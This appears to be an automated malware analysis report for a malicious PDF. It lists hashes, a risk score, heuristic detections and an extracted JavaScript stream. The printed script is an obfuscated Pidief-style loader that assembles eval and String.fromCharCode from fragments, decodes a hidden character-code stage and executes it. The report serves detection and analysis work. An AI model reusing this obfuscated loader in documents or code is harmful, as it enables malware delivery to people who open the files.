Malicious PDF — malware analysis report

Static analysis result for SHA-256 ab00870daf11217e…

MALICIOUS

PDF

45.3 KB First seen: 2026-05-07
MD5: 0d58b469356f493c371c4f5780518ffa SHA-1: d8a6a38231619db381afd7644d0d21e0d1862984 SHA-256: ab00870daf11217e42240a7b1dd328e91997842feebea91cc3401752d70d17eb
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, flagged by heuristics and a high-confidence ML classifier. The JavaScript is likely intended to execute malicious code upon opening the document, although the specific payload and execution method could not be determined from the available evidence. The benign document body 'test' suggests a lure to trick the user into interacting with the malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB283 487 bytes
SHA-256: 12716fddc10ec544c3db3b3602a91a777decd46d5dc9f72b1445545571c7d63c
Preview script
First 1,000 lines of the extracted script
huqo='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
wmow=e('ti'+'tle');
s=wmow.substr(t.length + 8,3)+'str';
q=wmow[s](1,(1,t.length + 7));
utup=e('S'+'tring.fro'+q);
q=wmow[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	nqtt = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	huqo += utup(nqtt);
}
e(huqo);

Open this report in the interactive analyzer, or submit your own file for analysis.